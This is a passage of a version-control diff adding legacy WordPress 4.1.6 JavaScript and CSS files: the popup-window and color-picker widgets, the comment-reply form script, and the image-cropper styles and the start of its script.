+			d.document.writeln(this.contents);
+			d.document.close();
+			}
+		}
+	else {
+		if (this.popupWindow != null && !this.popupWindow.closed) {
+			if (this.url!="") {
+				this.popupWindow.location.href=this.url;
+				}
+			else {
+				this.popupWindow.document.open();
+				this.popupWindow.document.writeln(this.contents);
+				this.popupWindow.document.close();
+			}
+			this.popupWindow.focus();
+			}
+		}
+	}
+// Position and show the popup, relative to an anchor object
+function PopupWindow_showPopup(anchorname) {
+	this.getXYPosition(anchorname);
+	this.x += this.offsetX;
+	this.y += this.offsetY;
+	if (!this.populated && (this.contents != "")) {
+		this.populated = true;
+		this.refresh();
+		}
+	if (this.divName != null) {
+		// Show the DIV object
+		if (this.use_gebi) {
+			document.getElementById(this.divName).style.left = this.x + "px";
+			document.getElementById(this.divName).style.top = this.y;
+			document.getElementById(this.divName).style.visibility = "visible";
+			}
+		else if (this.use_css) {
+			document.all[this.divName].style.left = this.x;
+			document.all[this.divName].style.top = this.y;
+			document.all[this.divName].style.visibility = "visible";
+			}
+		else if (this.use_layers) {
+			document.layers[this.divName].left = this.x;
+			document.layers[this.divName].top = this.y;
+			document.layers[this.divName].visibility = "visible";
+			}
+		}
+	else {
+		if (this.popupWindow == null || this.popupWindow.closed) {
+			// If the popup window will go off-screen, move it so it doesn't
+			if (this.x<0) { this.x=0; }
+			if (this.y<0) { this.y=0; }
+			if (screen && screen.availHeight) {
+				if ((this.y + this.height) > screen.availHeight) {
+					this.y = screen.availHeight - this.height;
+					}
+				}
+			if (screen && screen.availWidth) {
+				if ((this.x + this.width) > screen.availWidth) {
+					this.x = screen.availWidth - this.width;
+					}
+				}
+			var avoidAboutBlank = window.opera || ( document.layers && !navigator.mimeTypes['*'] ) || navigator.vendor == 'KDE' || ( document.childNodes && !document.all && !navigator.taintEnabled );
+			this.popupWindow = window.open(avoidAboutBlank?"":"about:blank","window_"+anchorname,this.windowProperties+",width="+this.width+",height="+this.height+",screenX="+this.x+",left="+this.x+",screenY="+this.y+",top="+this.y+"");
+			}
+		this.refresh();
+		}
+	}
+// Hide the popup
+function PopupWindow_hidePopup() {
+	if (this.divName != null) {
+		if (this.use_gebi) {
+			document.getElementById(this.divName).style.visibility = "hidden";
+			}
+		else if (this.use_css) {
+			document.all[this.divName].style.visibility = "hidden";
+			}
+		else if (this.use_layers) {
+			document.layers[this.divName].visibility = "hidden";
+			}
+		}
+	else {
+		if (this.popupWindow && !this.popupWindow.closed) {
+			this.popupWindow.close();
+			this.popupWindow = null;
+			}
+		}
+	}
+// Pass an event and return whether or not it was the popup DIV that was clicked
+function PopupWindow_isClicked(e) {
+	if (this.divName != null) {
+		if (this.use_layers) {
+			var clickX = e.pageX;
+			var clickY = e.pageY;
+			var t = document.layers[this.divName];
+			if ((clickX > t.left) && (clickX < t.left+t.clip.width) && (clickY > t.top) && (clickY < t.top+t.clip.height)) {
+				return true;
+				}
+			else { return false; }
+			}
+		else if (document.all) { // Need to hard-code this to trap IE for error-handling
+			var t = window.event.srcElement;
+			while (t.parentElement != null) {
+				if (t.id==this.divName) {
+					return true;
+					}
+				t = t.parentElement;
+				}
+			return false;
+			}
+		else if (this.use_gebi && e) {
+			var t = e.originalTarget;
+			while (t.parentNode != null) {
+				if (t.id==this.divName) {
+					return true;
+					}
+				t = t.parentNode;
+				}
+			return false;
+			}
+		return false;
+		}
+	return false;
+	}
+
+// Check an onMouseDown event to see if we should hide
+function PopupWindow_hideIfNotClicked(e) {
+	if (this.autoHideEnabled && !this.isClicked(e)) {
+		this.hidePopup();
+		}
+	}
+// Call this to make the DIV disable automatically when mouse is clicked outside it
+function PopupWindow_autoHide() {
+	this.autoHideEnabled = true;
+	}
+// This global function checks all PopupWindow objects onmouseup to see if they should be hidden
+function PopupWindow_hidePopupWindows(e) {
+	for (var i=0; i<popupWindowObjects.length; i++) {
+		if (popupWindowObjects[i] != null) {
+			var p = popupWindowObjects[i];
+			p.hideIfNotClicked(e);
+			}
+		}
+	}
+// Run this immediately to attach the event listener
+function PopupWindow_attachListener() {
+	if (document.layers) {
+		document.captureEvents(Event.MOUSEUP);
+		}
+	window.popupWindowOldEventListener = document.onmouseup;
+	if (window.popupWindowOldEventListener != null) {
+		document.onmouseup = new Function("window.popupWindowOldEventListener(); PopupWindow_hidePopupWindows();");
+		}
+	else {
+		document.onmouseup = PopupWindow_hidePopupWindows;
+		}
+	}
+// CONSTRUCTOR for the PopupWindow object
+// Pass it a DIV name to use a DHTML popup, otherwise will default to window popup
+function PopupWindow() {
+	if (!window.popupWindowIndex) { window.popupWindowIndex = 0; }
+	if (!window.popupWindowObjects) { window.popupWindowObjects = new Array(); }
+	if (!window.listenerAttached) {
+		window.listenerAttached = true;
+		PopupWindow_attachListener();
+		}
+	this.index = popupWindowIndex++;
+	popupWindowObjects[this.index] = this;
+	this.divName = null;
+	this.popupWindow = null;
+	this.width=0;
+	this.height=0;
+	this.populated = false;
+	this.visible = false;
+	this.autoHideEnabled = false;
+
+	this.contents = "";
+	this.url="";
+	this.windowProperties="toolbar=no,location=no,status=no,menubar=no,scrollbars=auto,resizable,alwaysRaised,dependent,titlebar=no";
+	if (arguments.length>0) {
+		this.type="DIV";
+		this.divName = arguments[0];
+		}
+	else {
+		this.type="WINDOW";
+		}
+	this.use_gebi = false;
+	this.use_css = false;
+	this.use_layers = false;
+	if (document.getElementById) { this.use_gebi = true; }
+	else if (document.all) { this.use_css = true; }
+	else if (document.layers) { this.use_layers = true; }
+	else { this.type = "WINDOW"; }
+	this.offsetX = 0;
+	this.offsetY = 0;
+	// Method mappings
+	this.getXYPosition = PopupWindow_getXYPosition;
+	this.populate = PopupWindow_populate;
+	this.setUrl = PopupWindow_setUrl;
+	this.setWindowProperties = PopupWindow_setWindowProperties;
+	this.refresh = PopupWindow_refresh;
+	this.showPopup = PopupWindow_showPopup;
+	this.hidePopup = PopupWindow_hidePopup;
+	this.setSize = PopupWindow_setSize;
+	this.isClicked = PopupWindow_isClicked;
+	this.autoHide = PopupWindow_autoHide;
+	this.hideIfNotClicked = PopupWindow_hideIfNotClicked;
+	}
+
+/* SOURCE FILE: ColorPicker2.js */
+
+/*
+Last modified: 02/24/2003
+
+DESCRIPTION: This widget is used to select a color, in hexadecimal #RRGGBB
+form. It uses a color "swatch" to display the standard 216-color web-safe
+palette. The user can then click on a color to select it.
+
+COMPATABILITY: See notes in AnchorPosition.js and PopupWindow.js.
+Only the latest DHTML-capable browsers will show the color and hex values
+at the bottom as your mouse goes over them.
+
+USAGE:
+// Create a new ColorPicker object using DHTML popup
+var cp = new ColorPicker();
+
+// Create a new ColorPicker object using Window Popup
+var cp = new ColorPicker('window');
+
+// Add a link in your page to trigger the popup. For example:
+<A HREF="#" onClick="cp.show('pick');return false;" NAME="pick" ID="pick">Pick</A>
+
+// Or use the built-in "select" function to do the dirty work for you:
+<A HREF="#" onClick="cp.select(document.forms[0].color,'pick');return false;" NAME="pick" ID="pick">Pick</A>
+
+// If using DHTML popup, write out the required DIV tag near the bottom
+// of your page.
+<SCRIPT LANGUAGE="JavaScript">cp.writeDiv()</SCRIPT>
+
+// Write the 'pickColor' function that will be called when the user clicks
+// a color and do something with the value. This is only required if you
+// want to do something other than simply populate a form field, which is
+// what the 'select' function will give you.
+function pickColor(color) {
+	field.value = color;
+	}
+
+NOTES:
+1) Requires the functions in AnchorPosition.js and PopupWindow.js
+
+2) Your anchor tag MUST contain both NAME and ID attributes which are the
+   same. For example:
+   <A NAME="test" ID="test"> </A>
+
+3) There must be at least a space between <A> </A> for IE5.5 to see the
+   anchor tag correctly. Do not do <A></A> with no space.
+
+4) When a ColorPicker object is created, a handler for 'onmouseup' is
+   attached to any event handler you may have already defined. Do NOT define
+   an event handler for 'onmouseup' after you define a ColorPicker object or
+   the color picker will not hide itself correctly.
+*/
+ColorPicker_targetInput = null;
+function ColorPicker_writeDiv() {
+	document.writeln("<DIV ID=\"colorPickerDiv\" STYLE=\"position:absolute;visibility:hidden;\"> </DIV>");
+	}
+
+function ColorPicker_show(anchorname) {
+	this.showPopup(anchorname);
+	}
+
+function ColorPicker_pickColor(color,obj) {
+	obj.hidePopup();
+	pickColor(color);
+	}
+
+// A Default "pickColor" function to accept the color passed back from popup.
+// User can over-ride this with their own function.
+function pickColor(color) {
+	if (ColorPicker_targetInput==null) {
+		alert("Target Input is null, which means you either didn't use the 'select' function or you have no defined your own 'pickColor' function to handle the picked color!");
+		return;
+		}
+	ColorPicker_targetInput.value = color;
+	}
+
+// This function is the easiest way to popup the window, select a color, and
+// have the value populate a form field, which is what most people want to do.
+function ColorPicker_select(inputobj,linkname) {
+	if (inputobj.type!="text" && inputobj.type!="hidden" && inputobj.type!="textarea") {
+		alert("colorpicker.select: Input object passed is not a valid form input object");
+		window.ColorPicker_targetInput=null;
+		return;
+		}
+	window.ColorPicker_targetInput = inputobj;
+	this.show(linkname);
+	}
+
+// This function runs when you move your mouse over a color block, if you have a newer browser
+function ColorPicker_highlightColor(c) {
+	var thedoc = (arguments.length>1)?arguments[1]:window.document;
+	var d = thedoc.getElementById("colorPickerSelectedColor");
+	d.style.backgroundColor = c;
+	d = thedoc.getElementById("colorPickerSelectedColorValue");
+	d.innerHTML = c;
+	}
+
+function ColorPicker() {
+	var windowMode = false;
+	// Create a new PopupWindow object
+	if (arguments.length==0) {
+		var divname = "colorPickerDiv";
+		}
+	else if (arguments[0] == "window") {
+		var divname = '';
+		windowMode = true;
+		}
+	else {
+		var divname = arguments[0];
+		}
+
+	if (divname != "") {
+		var cp = new PopupWindow(divname);
+		}
+	else {
+		var cp = new PopupWindow();
+		cp.setSize(225,250);
+		}
+
+	// Object variables
+	cp.currentValue = "#FFFFFF";
+
+	// Method Mappings
+	cp.writeDiv = ColorPicker_writeDiv;
+	cp.highlightColor = ColorPicker_highlightColor;
+	cp.show = ColorPicker_show;
+	cp.select = ColorPicker_select;
+
+	// Code to populate color picker window
+	var colors = new Array(	"#4180B6","#69AEE7","#000000","#000033","#000066","#000099","#0000CC","#0000FF","#330000","#330033","#330066","#330099",
+							"#3300CC","#3300FF","#660000","#660033","#660066","#660099","#6600CC","#6600FF","#990000","#990033","#990066","#990099",
+							"#9900CC","#9900FF","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#FF0000","#FF0033","#FF0066","#FF0099",
+							"#FF00CC","#FF00FF","#7FFFFF","#7FFFFF","#7FF7F7","#7FEFEF","#7FE7E7","#7FDFDF","#7FD7D7","#7FCFCF","#7FC7C7","#7FBFBF",
+							"#7FB7B7","#7FAFAF","#7FA7A7","#7F9F9F","#7F9797","#7F8F8F","#7F8787","#7F7F7F","#7F7777","#7F6F6F","#7F6767","#7F5F5F",
+							"#7F5757","#7F4F4F","#7F4747","#7F3F3F","#7F3737","#7F2F2F","#7F2727","#7F1F1F","#7F1717","#7F0F0F","#7F0707","#7F0000",
+
+							"#4180B6","#69AEE7","#003300","#003333","#003366","#003399","#0033CC","#0033FF","#333300","#333333","#333366","#333399",
+							"#3333CC","#3333FF","#663300","#663333","#663366","#663399","#6633CC","#6633FF","#993300","#993333","#993366","#993399",
+							"#9933CC","#9933FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#FF3300","#FF3333","#FF3366","#FF3399",
+							"#FF33CC","#FF33FF","#FF7FFF","#FF7FFF","#F77FF7","#EF7FEF","#E77FE7","#DF7FDF","#D77FD7","#CF7FCF","#C77FC7","#BF7FBF",
+							"#B77FB7","#AF7FAF","#A77FA7","#9F7F9F","#977F97","#8F7F8F","#877F87","#7F7F7F","#777F77","#6F7F6F","#677F67","#5F7F5F",
+							"#577F57","#4F7F4F","#477F47","#3F7F3F","#377F37","#2F7F2F","#277F27","#1F7F1F","#177F17","#0F7F0F","#077F07","#007F00",
+
+							"#4180B6","#69AEE7","#006600","#006633","#006666","#006699","#0066CC","#0066FF","#336600","#336633","#336666","#336699",
+							"#3366CC","#3366FF","#666600","#666633","#666666","#666699","#6666CC","#6666FF","#996600","#996633","#996666","#996699",
+							"#9966CC","#9966FF","#CC6600","#CC6633","#CC6666","#CC6699","#CC66CC","#CC66FF","#FF6600","#FF6633","#FF6666","#FF6699",
+							"#FF66CC","#FF66FF","#FFFF7F","#FFFF7F","#F7F77F","#EFEF7F","#E7E77F","#DFDF7F","#D7D77F","#CFCF7F","#C7C77F","#BFBF7F",
+							"#B7B77F","#AFAF7F","#A7A77F","#9F9F7F","#97977F","#8F8F7F","#87877F","#7F7F7F","#77777F","#6F6F7F","#67677F","#5F5F7F",
+							"#57577F","#4F4F7F","#47477F","#3F3F7F","#37377F","#2F2F7F","#27277F","#1F1F7F","#17177F","#0F0F7F","#07077F","#00007F",
+
+							"#4180B6","#69AEE7","#009900","#009933","#009966","#009999","#0099CC","#0099FF","#339900","#339933","#339966","#339999",
+							"#3399CC","#3399FF","#669900","#669933","#669966","#669999","#6699CC","#6699FF","#999900","#999933","#999966","#999999",
+							"#9999CC","#9999FF","#CC9900","#CC9933","#CC9966","#CC9999","#CC99CC","#CC99FF","#FF9900","#FF9933","#FF9966","#FF9999",
+							"#FF99CC","#FF99FF","#3FFFFF","#3FFFFF","#3FF7F7","#3FEFEF","#3FE7E7","#3FDFDF","#3FD7D7","#3FCFCF","#3FC7C7","#3FBFBF",
+							"#3FB7B7","#3FAFAF","#3FA7A7","#3F9F9F","#3F9797","#3F8F8F","#3F8787","#3F7F7F","#3F7777","#3F6F6F","#3F6767","#3F5F5F",
+							"#3F5757","#3F4F4F","#3F4747","#3F3F3F","#3F3737","#3F2F2F","#3F2727","#3F1F1F","#3F1717","#3F0F0F","#3F0707","#3F0000",
+
+							"#4180B6","#69AEE7","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#33CC00","#33CC33","#33CC66","#33CC99",
+							"#33CCCC","#33CCFF","#66CC00","#66CC33","#66CC66","#66CC99","#66CCCC","#66CCFF","#99CC00","#99CC33","#99CC66","#99CC99",
+							"#99CCCC","#99CCFF","#CCCC00","#CCCC33","#CCCC66","#CCCC99","#CCCCCC","#CCCCFF","#FFCC00","#FFCC33","#FFCC66","#FFCC99",
+							"#FFCCCC","#FFCCFF","#FF3FFF","#FF3FFF","#F73FF7","#EF3FEF","#E73FE7","#DF3FDF","#D73FD7","#CF3FCF","#C73FC7","#BF3FBF",
+							"#B73FB7","#AF3FAF","#A73FA7","#9F3F9F","#973F97","#8F3F8F","#873F87","#7F3F7F","#773F77","#6F3F6F","#673F67","#5F3F5F",
+							"#573F57","#4F3F4F","#473F47","#3F3F3F","#373F37","#2F3F2F","#273F27","#1F3F1F","#173F17","#0F3F0F","#073F07","#003F00",
+
+							"#4180B6","#69AEE7","#00FF00","#00FF33","#00FF66","#00FF99","#00FFCC","#00FFFF","#33FF00","#33FF33","#33FF66","#33FF99",
+							"#33FFCC","#33FFFF","#66FF00","#66FF33","#66FF66","#66FF99","#66FFCC","#66FFFF","#99FF00","#99FF33","#99FF66","#99FF99",
+							"#99FFCC","#99FFFF","#CCFF00","#CCFF33","#CCFF66","#CCFF99","#CCFFCC","#CCFFFF","#FFFF00","#FFFF33","#FFFF66","#FFFF99",
+							"#FFFFCC","#FFFFFF","#FFFF3F","#FFFF3F","#F7F73F","#EFEF3F","#E7E73F","#DFDF3F","#D7D73F","#CFCF3F","#C7C73F","#BFBF3F",
+							"#B7B73F","#AFAF3F","#A7A73F","#9F9F3F","#97973F","#8F8F3F","#87873F","#7F7F3F","#77773F","#6F6F3F","#67673F","#5F5F3F",
+							"#57573F","#4F4F3F","#47473F","#3F3F3F","#37373F","#2F2F3F","#27273F","#1F1F3F","#17173F","#0F0F3F","#07073F","#00003F",
+
+							"#4180B6","#69AEE7","#FFFFFF","#FFEEEE","#FFDDDD","#FFCCCC","#FFBBBB","#FFAAAA","#FF9999","#FF8888","#FF7777","#FF6666",
+							"#FF5555","#FF4444","#FF3333","#FF2222","#FF1111","#FF0000","#FF0000","#FF0000","#FF0000","#EE0000","#DD0000","#CC0000",
+							"#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000",
+							"#000000","#000000","#000000","#001111","#002222","#003333","#004444","#005555","#006666","#007777","#008888","#009999",
+							"#00AAAA","#00BBBB","#00CCCC","#00DDDD","#00EEEE","#00FFFF","#00FFFF","#00FFFF","#00FFFF","#11FFFF","#22FFFF","#33FFFF",
+							"#44FFFF","#55FFFF","#66FFFF","#77FFFF","#88FFFF","#99FFFF","#AAFFFF","#BBFFFF","#CCFFFF","#DDFFFF","#EEFFFF","#FFFFFF",
+
+							"#4180B6","#69AEE7","#FFFFFF","#EEFFEE","#DDFFDD","#CCFFCC","#BBFFBB","#AAFFAA","#99FF99","#88FF88","#77FF77","#66FF66",
+							"#55FF55","#44FF44","#33FF33","#22FF22","#11FF11","#00FF00","#00FF00","#00FF00","#00FF00","#00EE00","#00DD00","#00CC00",
+							"#00BB00","#00AA00","#009900","#008800","#007700","#006600","#005500","#004400","#003300","#002200","#001100","#000000",
+							"#000000","#000000","#000000","#110011","#220022","#330033","#440044","#550055","#660066","#770077","#880088","#990099",
+							"#AA00AA","#BB00BB","#CC00CC","#DD00DD","#EE00EE","#FF00FF","#FF00FF","#FF00FF","#FF00FF","#FF11FF","#FF22FF","#FF33FF",
+							"#FF44FF","#FF55FF","#FF66FF","#FF77FF","#FF88FF","#FF99FF","#FFAAFF","#FFBBFF","#FFCCFF","#FFDDFF","#FFEEFF","#FFFFFF",
+
+							"#4180B6","#69AEE7","#FFFFFF","#EEEEFF","#DDDDFF","#CCCCFF","#BBBBFF","#AAAAFF","#9999FF","#8888FF","#7777FF","#6666FF",
+							"#5555FF","#4444FF","#3333FF","#2222FF","#1111FF","#0000FF","#0000FF","#0000FF","#0000FF","#0000EE","#0000DD","#0000CC",
+							"#0000BB","#0000AA","#000099","#000088","#000077","#000066","#000055","#000044","#000033","#000022","#000011","#000000",
+							"#000000","#000000","#000000","#111100","#222200","#333300","#444400","#555500","#666600","#777700","#888800","#999900",
+							"#AAAA00","#BBBB00","#CCCC00","#DDDD00","#EEEE00","#FFFF00","#FFFF00","#FFFF00","#FFFF00","#FFFF11","#FFFF22","#FFFF33",
+							"#FFFF44","#FFFF55","#FFFF66","#FFFF77","#FFFF88","#FFFF99","#FFFFAA","#FFFFBB","#FFFFCC","#FFFFDD","#FFFFEE","#FFFFFF",
+
+							"#4180B6","#69AEE7","#FFFFFF","#FFFFFF","#FBFBFB","#F7F7F7","#F3F3F3","#EFEFEF","#EBEBEB","#E7E7E7","#E3E3E3","#DFDFDF",
+							"#DBDBDB","#D7D7D7","#D3D3D3","#CFCFCF","#CBCBCB","#C7C7C7","#C3C3C3","#BFBFBF","#BBBBBB","#B7B7B7","#B3B3B3","#AFAFAF",
+							"#ABABAB","#A7A7A7","#A3A3A3","#9F9F9F","#9B9B9B","#979797","#939393","#8F8F8F","#8B8B8B","#878787","#838383","#7F7F7F",
+							"#7B7B7B","#777777","#737373","#6F6F6F","#6B6B6B","#676767","#636363","#5F5F5F","#5B5B5B","#575757","#535353","#4F4F4F",
+							"#4B4B4B","#474747","#434343","#3F3F3F","#3B3B3B","#373737","#333333","#2F2F2F","#2B2B2B","#272727","#232323","#1F1F1F",
+							"#1B1B1B","#171717","#131313","#0F0F0F","#0B0B0B","#070707","#030303","#000000","#000000","#000000","#000000","#000000");
+	var total = colors.length;
+	var width = 72;
+	var cp_contents = "";
+	var windowRef = (windowMode)?"window.opener.":"";
+	if (windowMode) {
+		cp_contents += "<html><head><title>Select Color</title></head>";
+		cp_contents += "<body marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><span style='text-align: center;'>";
+		}
+	cp_contents += "<table style='border: none;' cellspacing=0 cellpadding=0>";
+	var use_highlight = (document.getElementById || document.all)?true:false;
+	for (var i=0; i<total; i++) {
+		if ((i % width) == 0) { cp_contents += "<tr>"; }
+		if (use_highlight) { var mo = 'onMouseOver="'+windowRef+'ColorPicker_highlightColor(\''+colors[i]+'\',window.document)"'; }
+		else { mo = ""; }
+		cp_contents += '<td style="background-color: '+colors[i]+';"><a href="javascript:void()" onclick="'+windowRef+'ColorPicker_pickColor(\''+colors[i]+'\','+windowRef+'window.popupWindowObjects['+cp.index+']);return false;" '+mo+'>&nbsp;</a></td>';
+		if ( ((i+1)>=total) || (((i+1) % width) == 0)) {
+			cp_contents += "</tr>";
+			}
+		}
+	// If the browser supports dynamically changing TD cells, add the fancy stuff
+	if (document.getElementById) {
+		var width1 = Math.floor(width/2);
+		var width2 = width = width1;
+		cp_contents += "<tr><td colspan='"+width1+"' style='background-color: #FFF;' ID='colorPickerSelectedColor'>&nbsp;</td><td colspan='"+width2+"' style='text-align: center;' id='colorPickerSelectedColorValue'>#FFFFFF</td></tr>";
+		}
+	cp_contents += "</table>";
+	if (windowMode) {
+		cp_contents += "</span></body></html>";
+		}
+	// end populate code
+
+	// Write the contents to the popup object
+	cp.populate(cp_contents+"\n");
+	// Move the table down a bit so you can see it
+	cp.offsetY = 25;
+	cp.autoHide();
+	return cp;
+	}
Index: /tags/4.1.6/src/wp-includes/js/comment-reply.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/comment-reply.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/comment-reply.js	(revision 33402)
@@ -0,0 +1,47 @@
+var addComment = {
+	moveForm : function(commId, parentId, respondId, postId) {
+		var t = this, div, comm = t.I(commId), respond = t.I(respondId), cancel = t.I('cancel-comment-reply-link'), parent = t.I('comment_parent'), post = t.I('comment_post_ID');
+
+		if ( ! comm || ! respond || ! cancel || ! parent )
+			return;
+
+		t.respondId = respondId;
+		postId = postId || false;
+
+		if ( ! t.I('wp-temp-form-div') ) {
+			div = document.createElement('div');
+			div.id = 'wp-temp-form-div';
+			div.style.display = 'none';
+			respond.parentNode.insertBefore(div, respond);
+		}
+
+		comm.parentNode.insertBefore(respond, comm.nextSibling);
+		if ( post && postId )
+			post.value = postId;
+		parent.value = parentId;
+		cancel.style.display = '';
+
+		cancel.onclick = function() {
+			var t = addComment, temp = t.I('wp-temp-form-div'), respond = t.I(t.respondId);
+
+			if ( ! temp || ! respond )
+				return;
+
+			t.I('comment_parent').value = '0';
+			temp.parentNode.insertBefore(respond, temp);
+			temp.parentNode.removeChild(temp);
+			this.style.display = 'none';
+			this.onclick = null;
+			return false;
+		};
+
+		try { t.I('comment').focus(); }
+		catch(e) {}
+
+		return false;
+	},
+
+	I : function(e) {
+		return document.getElementById(e);
+	}
+};
Index: /tags/4.1.6/src/wp-includes/js/crop/cropper.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/crop/cropper.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/crop/cropper.css	(revision 33402)
@@ -0,0 +1,165 @@
+.imgCrop_wrap {
+	/* width: 500px;   @done_in_js */
+	/* height: 375px;  @done_in_js */
+	position: relative;
+	cursor: crosshair;
+}
+
+/* an extra classname is applied for Opera < 9.0 to fix its lack of opacity support */
+.imgCrop_wrap.opera8 .imgCrop_overlay,
+.imgCrop_wrap.opera8 .imgCrop_clickArea { 
+	background-color: transparent;
+}
+
+/* fix for IE displaying all boxes at line-height by default, although they are still 1 pixel high until we combine them with the pointless span */
+.imgCrop_wrap,
+.imgCrop_wrap * {
+	font-size: 0;
+}
+
+.imgCrop_overlay {
+	background-color: #000;
+	opacity: 0.5;
+	filter:alpha(opacity=50);
+	position: absolute;
+	width: 100%;
+	height: 100%;
+}
+
+.imgCrop_selArea {
+	position: absolute;
+	/* @done_in_js 
+	top: 20px;
+	left: 20px;
+	width: 200px;
+	height: 200px;
+	background: transparent url(castle.jpg) no-repeat  -210px -110px;
+	*/
+	cursor: move;
+	z-index: 2;
+}
+
+/* clickArea is all a fix for IE 5.5 & 6 to allow the user to click on the given area */
+.imgCrop_clickArea {
+	width: 100%;
+	height: 100%;
+	background-color: #FFF;
+	opacity: 0.01;
+	filter:alpha(opacity=01);
+}
+
+.imgCrop_marqueeHoriz {
+	position: absolute;
+	width: 100%;
+	height: 1px;
+	background: transparent url(marqueeHoriz.gif) repeat-x 0 0;
+	z-index: 3;
+}
+
+.imgCrop_marqueeVert {
+	position: absolute;
+	height: 100%;
+	width: 1px;
+	background: transparent url(marqueeVert.gif) repeat-y 0 0;
+	z-index: 3;
+}
+
+.imgCrop_marqueeNorth { top: 0; left: 0; }
+.imgCrop_marqueeEast  { top: 0; right: 0; }
+.imgCrop_marqueeSouth { bottom: 0px; left: 0; }
+.imgCrop_marqueeWest  { top: 0; left: 0; }
+
+
+.imgCrop_handle {
+	position: absolute;
+	border: 1px solid #333;
+	width: 6px;
+	height: 6px;
+	background: #FFF;
+	opacity: 0.5;
+	filter:alpha(opacity=50);
+	z-index: 4;
+}
+
+/* fix IE 5 box model */
+* html .imgCrop_handle {
+	width: 8px;
+	height: 8px;
+	wid\th: 6px;
+	hei\ght: 6px;
+}
+
+.imgCrop_handleN {
+	top: -3px;
+	left: 0;
+	/* margin-left: 49%;    @done_in_js */
+	cursor: n-resize;
+}
+
+.imgCrop_handleNE { 
+	top: -3px;
+	right: -3px;
+	cursor: ne-resize;
+}
+
+.imgCrop_handleE {
+	top: 0;
+	right: -3px;
+	/* margin-top: 49%;    @done_in_js */
+	cursor: e-resize;
+}
+
+.imgCrop_handleSE {
+	right: -3px;
+	bottom: -3px;
+	cursor: se-resize;
+}
+
+.imgCrop_handleS {
+	right: 0;
+	bottom: -3px;
+	/* margin-right: 49%; @done_in_js */
+	cursor: s-resize;
+}
+
+.imgCrop_handleSW {
+	left: -3px;
+	bottom: -3px;
+	cursor: sw-resize;
+}
+
+.imgCrop_handleW {
+	top: 0;
+	left: -3px;
+	/* margin-top: 49%;  @done_in_js */
+	cursor: e-resize;
+}
+
+.imgCrop_handleNW {
+	top: -3px;
+	left: -3px;
+	cursor: nw-resize;
+}
+
+/**
+ * Create an area to click & drag around on as the default browser behaviour is to let you drag the image 
+ */
+.imgCrop_dragArea {
+	width: 100%;
+	height: 100%;
+	z-index: 200;
+	position: absolute;
+	top: 0;
+	left: 0;
+}
+
+.imgCrop_previewWrap {
+	/* width: 200px;  @done_in_js */
+	/* height: 200px; @done_in_js */
+	overflow: hidden;
+	position: relative;
+}
+
+.imgCrop_previewWrap img {
+	position: absolute;
+}
Index: /tags/4.1.6/src/wp-includes/js/crop/cropper.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/crop/cropper.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/crop/cropper.js	(revision 33402)
@@ -0,0 +1,516 @@
+/**
+ * Copyright (c) 2006, David Spurr (http://www.defusion.org.uk/)
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ *     * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ *     * Neither the name of the David Spurr nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * http://www.opensource.org/licenses/bsd-license.php
+ *
+ * See scriptaculous.js for full scriptaculous licence
+ */
+
+var CropDraggable=Class.create();
+Object.extend(Object.extend(CropDraggable.prototype,Draggable.prototype),{initialize:function(_1){
+this.options=Object.extend({drawMethod:function(){
+}},arguments[1]||{});
+this.element=$(_1);
+this.handle=this.element;
+this.delta=this.currentDelta();
+this.dragging=false;
+this.eventMouseDown=this.initDrag.bindAsEventListener(this);
+Event.observe(this.handle,"mousedown",this.eventMouseDown);
+Draggables.register(this);
+},draw:function(_2){
+var _3=Position.cumulativeOffset(this.element);
+var d=this.currentDelta();
+_3[0]-=d[0];
+_3[1]-=d[1];
+var p=[0,1].map(function(i){
+return (_2[i]-_3[i]-this.offset[i]);
+}.bind(this));
+this.options.drawMethod(p);
+}});
+var Cropper={};
+Cropper.Img=Class.create();
+Cropper.Img.prototype={initialize:function(_7,_8){
+this.options=Object.extend({ratioDim:{x:0,y:0},minWidth:0,minHeight:0,displayOnInit:false,onEndCrop:Prototype.emptyFunction,captureKeys:true},_8||{});
+if(this.options.minWidth>0&&this.options.minHeight>0){
+this.options.ratioDim.x=this.options.minWidth;
+this.options.ratioDim.y=this.options.minHeight;
+}
+this.img=$(_7);
+this.clickCoords={x:0,y:0};
+this.dragging=false;
+this.resizing=false;
+this.isWebKit=/Konqueror|Safari|KHTML/.test(navigator.userAgent);
+this.isIE=/MSIE/.test(navigator.userAgent);
+this.isOpera8=/Opera\s[1-8]/.test(navigator.userAgent);
+this.ratioX=0;
+this.ratioY=0;
+this.attached=false;
+$A(document.getElementsByTagName("script")).each(function(s){
